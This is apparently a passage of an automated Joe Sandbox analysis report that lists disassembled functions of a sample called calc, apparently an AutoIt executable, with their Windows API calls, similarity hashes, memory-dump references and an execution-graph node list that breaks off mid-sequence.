    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSend
    • String ID: Combobox
    • API String ID: 3850602802-2096851135
    • Opcode ID: 7d53d7fb79487526b315ade6c649dc5807220e0396936e94214fb795de8cf3c4
    • Instruction ID: c4c708d04f0f19327094a8dba0ca1a6e2ba202dda6d3c05fc845e7cbb8daae38
    • Opcode Fuzzy Hash: 7d53d7fb79487526b315ade6c649dc5807220e0396936e94214fb795de8cf3c4
    • Instruction Fuzzy Hash: B8119031600348ABDF21CF51CD44ECB3BA5EB49758F01022AF9486A1D1C3799CA0CB99
    Function 0040A701 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON
    Download Yara Rule
    APIs
    • GetWindowTextLengthW.USER32(00000000), ref: 0040A781
    • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 0040A790
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: LengthMessageSendTextWindow
    • String ID: edit
    • API String ID: 2978978980-2167791130
    • Opcode ID: c2653f4a8f2a9fd3339bdeb911189886ce8e1b58d1724ea3b2bfe0e6e1a0c6a7
    • Instruction ID: 3c8579f57d0c42e063c7e16f0ca5964ab964ff0d5ea83e700c6d5523480232cd
    • Opcode Fuzzy Hash: c2653f4a8f2a9fd3339bdeb911189886ce8e1b58d1724ea3b2bfe0e6e1a0c6a7
    • Instruction Fuzzy Hash: AA112B75040308ABEF228F50CC44BEA37A5AB19355F108126FD54672D1C37ECC659B9A
    Function 00402FF7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55windowCOMMON
    Download Yara Rule
    APIs
      • Part of subcall function 004030FC: SendMessageTimeoutW.USER32(0045C6D0,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00403119
      • Part of subcall function 004030FC: GetWindowThreadProcessId.USER32(0045C6D0,00000000), ref: 0040312E
      • Part of subcall function 004030FC: GetCurrentThreadId.KERNEL32 ref: 00403135
      • Part of subcall function 004030FC: AttachThreadInput.USER32(00000000,?,0040301A,?,00000001), ref: 0040313C
    • GetFocus.USER32 ref: 0040301A
    • GetClassNameW.USER32(?,?,000000FF), ref: 0040304A
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Thread$AttachClassCurrentFocusInputMessageNameProcessSendTimeoutWindow
    • String ID: %s%d
    • API String ID: 1301947253-1110647743
    • Opcode ID: ee9be35a30aa6138f74a0f436a39a0fbf44d4576cb0a92abe5729aac7ef09eb6
    • Instruction ID: 5efcb7465573b2ab94bf4c2dd86e8e81f3aa2c00291f0960b02ed275af46cd7d
    • Opcode Fuzzy Hash: ee9be35a30aa6138f74a0f436a39a0fbf44d4576cb0a92abe5729aac7ef09eb6
    • Instruction Fuzzy Hash: 3911A731500708BFDF216F61DC8AF9A7BADBF00341F00442AB50665492D779E655DB58
    Function 00401FC4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54windowCOMMON
    Download Yara Rule
    APIs
    • SendMessageW.USER32(?,000001A2,00000001,?), ref: 00402042
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSend
    • String ID: ComboBox$ListBox
    • API String ID: 3850602802-1403004172
    • Opcode ID: a29b9999ab7f9f49425fc7fc832618fee04fed544210bd0aca0d50c725a4f24a
    • Instruction ID: 6a2bf43351e90442f0b13493faf7ed6cf4a6bb8ea08880f42cadd4b0a594b3be
    • Opcode Fuzzy Hash: a29b9999ab7f9f49425fc7fc832618fee04fed544210bd0aca0d50c725a4f24a
    • Instruction Fuzzy Hash: 82112531404365BBDF216A658C46BAF3B65AF02320F1045AAF5107B2D2C67D884AD349
    Function 00401EA6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON
    Download Yara Rule
    APIs
    • SendMessageW.USER32(?,00000180,00000000,?), ref: 00401F21
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSend
    • String ID: ComboBox$ListBox
    • API String ID: 3850602802-1403004172
    • Opcode ID: ed3fcc896b068fd941d8d9cf6e57a1d18e166874037eff3a8c86b7d3873e16cd
    • Instruction ID: e9e452ee7395a0ac856e9d180b4f38c93f17947b2fa77818a0f771537a2928a5
    • Opcode Fuzzy Hash: ed3fcc896b068fd941d8d9cf6e57a1d18e166874037eff3a8c86b7d3873e16cd
    • Instruction Fuzzy Hash: FC01D231948365BBDF21AA658C42BAF3B649F05710F1444BBF8007A2E2C73D8D0AD399
    Function 00401F36 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51windowCOMMON
    Download Yara Rule
    APIs
    • SendMessageW.USER32(?,00000182,?,00000000), ref: 00401FAF
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSend
    • String ID: ComboBox$ListBox
    • API String ID: 3850602802-1403004172
    • Opcode ID: 0242139c27f576f57361c977978787e115d72c8c9176f3bbb4e371a2efab1887
    • Instruction ID: 3733c26b0adeeb4198756a847cc5c2d4ffc560054351d3a3df5f83e60761485c
    • Opcode Fuzzy Hash: 0242139c27f576f57361c977978787e115d72c8c9176f3bbb4e371a2efab1887
    • Instruction Fuzzy Hash: A301F531908366BBDF216A658C42BEF7E649F01710F1444BBF400762E2C73D890A935D
    Function 004168A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON
    Download Yara Rule
    APIs
    • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0045C6D0,?,?,?,00442C32,00000000,0045C6D0), ref: 004168CE
    • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00442C32,00000000,0045C6D0), ref: 004168F0
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ByteCharMultiWide
    • String ID: 2,D
    • API String ID: 626452242-2418935499
    • Opcode ID: 0511c5f8d2e7000894d6229759d6eb0e35e8659186a567bc5996a2e2cc60b3a8
    • Instruction ID: b39320ebaba644329eb74e26f72cd8e91e687b80147ed92d883561fb5b5a7670
    • Opcode Fuzzy Hash: 0511c5f8d2e7000894d6229759d6eb0e35e8659186a567bc5996a2e2cc60b3a8
    • Instruction Fuzzy Hash: 84F090321072307EA23166379C4CCEFBE9CDE8B2F8B11062AF509921A1DA259C41D5F9
    Function 0042A895 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32sleepCOMMON
    Download Yara Rule
    APIs
    • Sleep.KERNEL32(0000000A,?,?,?,?,00401261,00000001,?,?), ref: 0042A8C6
    • FreeLibrary.KERNEL32(?,?,?,?,?,00401261,00000001,?,?), ref: 0042A8DC
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: FreeLibrarySleep
    • String ID: Wu
    • API String ID: 1926266166-4083010176
    • Opcode ID: b86244694cb31ea88552ad3ae689b7ee6b627a18059bce07507ecd7df422afb2
    • Instruction ID: 95626d53eeefe99a7a2a974764b31a355aca2ad0c096622ee57089ae5fda058c
    • Opcode Fuzzy Hash: b86244694cb31ea88552ad3ae689b7ee6b627a18059bce07507ecd7df422afb2
    • Instruction Fuzzy Hash: 72F09071904315EBCB11AFA4A94048ABBB4AF04304F90447EE85262202D2345616EB16
    Function 00441486 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON
    Download Yara Rule
    APIs
    • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0044149D
    • PostMessageW.USER32(00000000), ref: 004414A4
      • Part of subcall function 00415F9F: Sleep.KERNEL32(000000FA,00479E08,?,?,00420420,00479E08,00479E08,00000001,00000000,?,?,0042018E,?,00479E08), ref: 0041602B
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: FindMessagePostSleepWindow
    • String ID: Shell_TrayWnd
    • API String ID: 529655941-2988720461
    • Opcode ID: 882ebc6663f28ca6a0bd98369b9ec18506e29be0596869382302bcdea28e45d6
    • Instruction ID: 13f1e06114b1c92f5b92a9acec28f52c76ab9d30df0a71a8e479259ccf974a84
    • Opcode Fuzzy Hash: 882ebc6663f28ca6a0bd98369b9ec18506e29be0596869382302bcdea28e45d6
    • Instruction Fuzzy Hash: 53D0A733784300BAE2302731EC0AFC76614AB81B21F100826B705AA1D2C5B8B8418658
    Function 004414BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON
    Download Yara Rule
    APIs
    • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 004414D3
    • PostMessageW.USER32(00000000), ref: 004414DA
      • Part of subcall function 00415F9F: Sleep.KERNEL32(000000FA,00479E08,?,?,00420420,00479E08,00479E08,00000001,00000000,?,?,0042018E,?,00479E08), ref: 0041602B
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: FindMessagePostSleepWindow
    • String ID: Shell_TrayWnd
    • API String ID: 529655941-2988720461
    • Opcode ID: 589e054f64da00f93531d73cfc508ff2935bda88848966350afad539d68171e7
    • Instruction ID: e84574dfb991bf2cfa4f23f5b5c2518562de79298c4897d62fa121c786450cbf
    • Opcode Fuzzy Hash: 589e054f64da00f93531d73cfc508ff2935bda88848966350afad539d68171e7
    • Instruction Fuzzy Hash: C0D0A733784300BAE2312731AC0AFC76614AB85B21F100826B705AA1D2C5B8B8418658
    Function 0044B8FC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMON
    Download Yara Rule
    APIs
    • __lock.LIBCMT ref: 0044B919
      • Part of subcall function 0044C6DB: RtlEnterCriticalSection.NTDLL(?), ref: 0044C703
    • RtlEnterCriticalSection.NTDLL(?), ref: 0044B924
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CriticalEnterSection$__lock
    • String ID: SF
    • API String ID: 3410214836-3927473838
    • Opcode ID: 9cc0bd6a2d6521f484713d1f5ba177a90f59e14cf639a20cfdb60fcf15beb41d
    • Instruction ID: a775ad8a655dfed215efc293d7e2241f7e8b16a1d901a40f4fc00a87cdfa6261
    • Opcode Fuzzy Hash: 9cc0bd6a2d6521f484713d1f5ba177a90f59e14cf639a20cfdb60fcf15beb41d
    • Instruction Fuzzy Hash: 36D013F5E0110567EF2C55755DC565D625DE6487827654D5BFD01C17C1DB1CD840500E
    Function 004144F7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 8windowCOMMON
    Download Yara Rule
    APIs
    • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00414505
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Message
    • String ID: AutoIt$Error allocating memory.
    • API String ID: 2030045667-4017498283
    • Opcode ID: dc3e318489bfee34d3df896ec7d206536584264e8443711728aad28883d80498
    • Instruction ID: 2297da2f1b184b157dc422602c855f75b819f819d268e52e3558a929044e264b
    • Opcode Fuzzy Hash: dc3e318489bfee34d3df896ec7d206536584264e8443711728aad28883d80498
    • Instruction Fuzzy Hash: 90B092B07C0309B6E22032906C4BF8426000B04F07F2004167718680D305CE10AC011E
    Function 00417DBC Relevance: 5.0, APIs: 4, Instructions: 38COMMONLIBRARYCODE
    Download Yara Rule
    APIs
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CloseHandle
    • String ID:
    • API String ID: 2962429428-0
    • Opcode ID: fcc65564337efeded0ceb8b458db640fb801078e850b321e4cb6b3b0c890e3b1
    • Instruction ID: 9fbff2a46f1a3b6b9582897a9c6c7ca7b8380da915333fee2be5e575753045a6
    • Opcode Fuzzy Hash: fcc65564337efeded0ceb8b458db640fb801078e850b321e4cb6b3b0c890e3b1
    • Instruction Fuzzy Hash: 84F04F32240704ABCB219F1ADC82A97B3F4EF54369B14452ED08692630C679EC819E14

    Execution Graph

    Execution Coverage:4.8%
    Dynamic/Decrypted Code Coverage:0%
    Signature Coverage:1.7%
    Total number of Nodes:1887
    Total number of Limit Nodes:22
    execution_graph 48763 401641 48766 40165b 48763->48766 48767 40166e 48766->48767 48768 40180f NtdllDefWindowProc_W 48767->48768 48769 401782 48767->48769 48770 40167f 48767->48770 48771 401657 48768->48771 48774 4017fb 48769->48774 48775 40178b 48769->48775 48772 401685 48770->48772 48773 40174c 48770->48773 48778 401711 SetTimer RegisterClipboardFormatW 48772->48778 48779 40168e 48772->48779 48777 42a895 3 API calls 48773->48777 48841 4126bc 46 API calls 48774->48841 48780 4017eb 48775->48780 48781 40178f 48775->48781 48784 401777 48777->48784 48778->48771 48783 40173c CreatePopupMenu 48778->48783 48785 401691 48779->48785 48786 4016f2 KillTimer 48779->48786 48840 4125ea 39 API calls 48780->48840 48788 4017d3 48781->48788 48789 401796 48781->48789 48782 40180b 48782->48768 48782->48771 48783->48771 48815 42026c 48784->48815 48792 4016d1 MoveWindow 48785->48792 48793 401696 48785->48793 48814 412dd7 Shell_NotifyIconW 48786->48814 48788->48768 48839 401825 34 API calls 48788->48839 48795 4017c1 48789->48795 48796 40179d 48789->48796 48792->48771 48800 4016c0 SetFocus 48793->48800 48801 40169a 48793->48801 48794 4017f9 48794->48771 48838 412e32 53 API calls 48795->48838 48796->48768 48836 412dd7 Shell_NotifyIconW 48796->48836 48797 401705 PostQuitMessage 48797->48771 48799 40177d 48799->48768 48800->48771 48801->48796 48803 4016a3 48801->48803 48808 42a895 48803->48808 48806 4017ba 48837 4128c6 69 API calls 48806->48837 48809 42a8a6 48808->48809 48813 42a8d4 48808->48813 48842 42fcc3 LoadLibraryA GetProcAddress 48809->48842 48811 42a8bd 48812 42a8c4 Sleep 48811->48812 48811->48813 48812->48811 48813->48771 48814->48797 48843 4323fe 48815->48843 48818 420367 48818->48799 48824 4202d3 CharUpperBuffW 48858 418048 38 API calls 48824->48858 48826 4202f4 48827 418a14 VariantClear 48826->48827 48828 42030b 48827->48828 48829 416bfe 34 API calls 48828->48829 48830 420318 CharUpperBuffW 48829->48830 48859 418048 38 API calls 48830->48859 48832 420333 48860 421406 48832->48860 48836->48806 48837->48799 48838->48771 48839->48799 48840->48794 48841->48782 48842->48811 48844 416bfe 34 API calls 48843->48844 48845 43240f 48844->48845 48897 413afa 48845->48897 48847 420296 48847->48818 48848 416d00 48847->48848 48900 416f5d 48848->48900 48850 416d0d 48851 418a14 48850->48851 48852 4183f6 ctype VariantClear 48851->48852 48853 418a1b 48852->48853 48854 416bfe 48853->48854 48855 416c07 48854->48855 48856 449170 34 API calls 48855->48856 48857 416c16 48856->48857 48857->48824 48858->48826 48859->48832 48958 4181c7 48860->48958 48862 421424 48863 4181c7 37 API calls 48862->48863 48864 421436 48863->48864 48984 416c4c 48864->48984 48866 42146b 48867 4181c7 37 API calls 48866->48867 48868 4214ad 48867->48868 48869 4214c8 48868->48869 49010 416a9f 48868->49010 48987 4200f5 48869->48987 48873 4214e2 48875 4214f2 48873->48875 49016 421751 VariantClear 48873->49016 49017 418874 48875->49017 48878 4214fe 48879 418874 38 API calls 48878->48879 48880 42150a 48879->48880 49045 4034ed 34 API calls 48880->49045 48882 42151e 49046 416cee 34 API calls 48882->49046 48884 421535 48885 421574 48884->48885 48886 418874 38 API calls 48884->48886 48887 4183f6 ctype VariantClear 48885->48887 48886->48885 48888 42157c 48887->48888 48889 4183f6 ctype VariantClear 48888->48889 48890 42158d 48889->48890 48891 4183f6 ctype VariantClear 48890->48891 48892 42035d 48891->48892 48893 4183f6 48892->48893 48894 418401 ctype 48893->48894 48895 41840f VariantClear 48894->48895 48896 418416 ctype 48894->48896 48895->48896 48896->48818 48898 413b19 CharUpperBuffW 48897->48898 48899 413b0a 48897->48899 48898->48899 48899->48847 48901 416f6a 48900->48901 48904 416cb6 48901->48904 48903 416f75 48903->48850 48905 416cd3 48904->48905 48906 416cbe 48904->48906 48905->48903 48908 449170 48906->48908 48911 449ab3 48908->48911 48912 44917b 48911->48912 48914 449aba __getbuf 48911->48914 48912->48905 48914->48912 48915 449a38 48914->48915 48917 449a44 ___free_lc_time 48915->48917 48916 449a77 48919 449a92 RtlAllocateHeap 48916->48919 48920 449aa1 ___free_lc_time 48916->48920 48917->48916 48925 44c6db 48917->48925 48919->48920 48920->48914 48921 449a5f 48932 44e8f5 5 API calls __getbuf 48921->48932 48923 449a6a 48933 449aaa RtlLeaveCriticalSection __lock 48923->48933 48926 44c701 RtlEnterCriticalSection 48925->48926 48927 44c6ee 48925->48927 48926->48921 48934 44c63b 48927->48934 48929 44c6f4 48929->48926 48957 44be4f 34 API calls _fast_error_exit 48929->48957 48931 44c700 48931->48926 48932->48923 48933->48916 48935 44c647 ___free_lc_time 48934->48935 48936 449adf __getbuf 34 API calls 48935->48936 48938 44c66a ___free_lc_time 48935->48938 48937 44c65e 48936->48937 48939 44c665 48937->48939 48940 44c672 48937->48940 48938->48929 48941 44d915 __lock 34 API calls 48939->48941 48942 44c6db __lock 34 API calls 48940->48942 48941->48938 48943 44c679 48942->48943 48944 44c681 48943->48944 48945 44c6b9 48943->48945 48947 454432 __lock GetProcAddress 48944->48947 48946 449c88 ___free_lc_time 34 API calls 48945->48946 48948 44c6bf 48946->48948 48949 44c68c 48947->48949 48953 44c6d2 __lock RtlLeaveCriticalSection 48948->48953 48950 44c6b5 48949->48950 48951 44c692 48949->48951 48950->48948 48952 449c88 ___free_lc_time 34 API calls 48951->48952 48954 44c698 48952->48954 48953->48938 48955 44d915 __lock 34 API calls 48954->48955 48956 44c69d __lock 48955->48956 48956->48938 48957->48931 48959 4181e2 48958->48959 48983 4181ff 48958->48983 48960 418270 48959->48960 48961 4182b5 48959->48961 48962 4182d5 